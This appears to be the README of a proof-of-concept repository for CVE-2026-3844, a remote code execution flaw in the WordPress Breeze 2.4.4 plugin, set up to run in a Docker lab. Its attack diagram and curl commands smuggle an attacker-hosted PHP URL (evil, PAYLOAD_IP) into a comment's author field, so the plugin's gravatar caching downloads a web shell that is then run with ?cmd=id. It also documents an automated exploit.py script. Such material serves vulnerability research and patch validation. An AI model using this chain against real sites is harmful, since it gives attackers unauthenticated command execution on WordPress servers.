Attacker                          WordPress + Breeze 2.4.4
   |                                        |
   |  1. POST /wp-comments-post.php         |
   |     author=x srcset=http://evil/s.php  |
   |  ------------------------------------> |
   |                                        |  Comment saved
   |                                        |
   |  2. GET /?p=1                          |
   |  ------------------------------------> |
   |                                        |  get_avatar filter fires
   |                                        |  breeze_replace_gravatar_image()
   |                                        |    extracts srcset URL via regex
   |                                        |    calls fetch_gravatar_from_remote()
   |                                        |
   |            3. download_url()           |
   |            http://evil/s.php           |
   |         <----------------------------- |
   |         PHP file content               |
   |         -----------------------------> |
   |                                        |  Saved to:
   |                                        |  wp-content/cache/breeze-extra/
   |                                        |    gravatars/s.php
   |                                        |
   |  4. GET /wp-content/cache/breeze-extra |
   |         /gravatars/s.php?cmd=id        |
   |  ------------------------------------> |
   |                                        |  PHP executes as www-data
   |         uid=33(www-data)               |
   |  <------------------------------------ |

cd docker/
docker compose up -d --build

curl -s http://localhost:8088/wp-content/plugins/breeze/readme.txt | grep "Stable tag"
# Expected: Stable tag: 2.4.4

curl -X POST "http://localhost:8088/wp-comments-post.php" \
    -d "comment_post_ID=1&author=x+srcset=http://PAYLOAD_IP:9999/shell.php&[email protected]&comment=test&submit=Post+Comment"

docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' \
    $(docker compose -f docker/docker-compose.yml ps -q payload)

curl -s "http://localhost:8088/?p=1" > /dev/null

cd poc/
pip install requests
python3 exploit.py --target http://localhost:8088 --payload http://PAYLOAD_IP:9999/shell.php

usage: exploit.py [-h] -t TARGET [-p PAYLOAD] [--post-id POST_ID]
                  [--timeout TIMEOUT] [--wait WAIT] [--check-only]

  -t, --target      WordPress target URL (required)
  -p, --payload     URL of the PHP payload to upload
  --post-id         Specific post ID to comment on
  --timeout         HTTP timeout in seconds (default: 15)
  --wait            Seconds to wait for cron (default: 12)
  --check-only      Only check plugin version, don't exploit

cd docker/
docker compose down -v --remove-orphans

cve-2026-3844/
  README.md              # This file
  docker/
    Dockerfile           # WordPress + Breeze 2.4.4 image
    docker-compose.yml   # Full lab (WP + MariaDB + payload server)
    entrypoint-custom.sh # Auto-configures WP with vulnerable settings
  poc/
    exploit.py           # Automated PoC exploit script
    validate.sh          # End-to-end Docker validation harness
  payloads/
    shell.php            # Harmless PoC payload (echo + id)
  screenshots/           # SVG terminal screenshots (Charm freeze)
  validation/            # RAPTOR exploitability validation output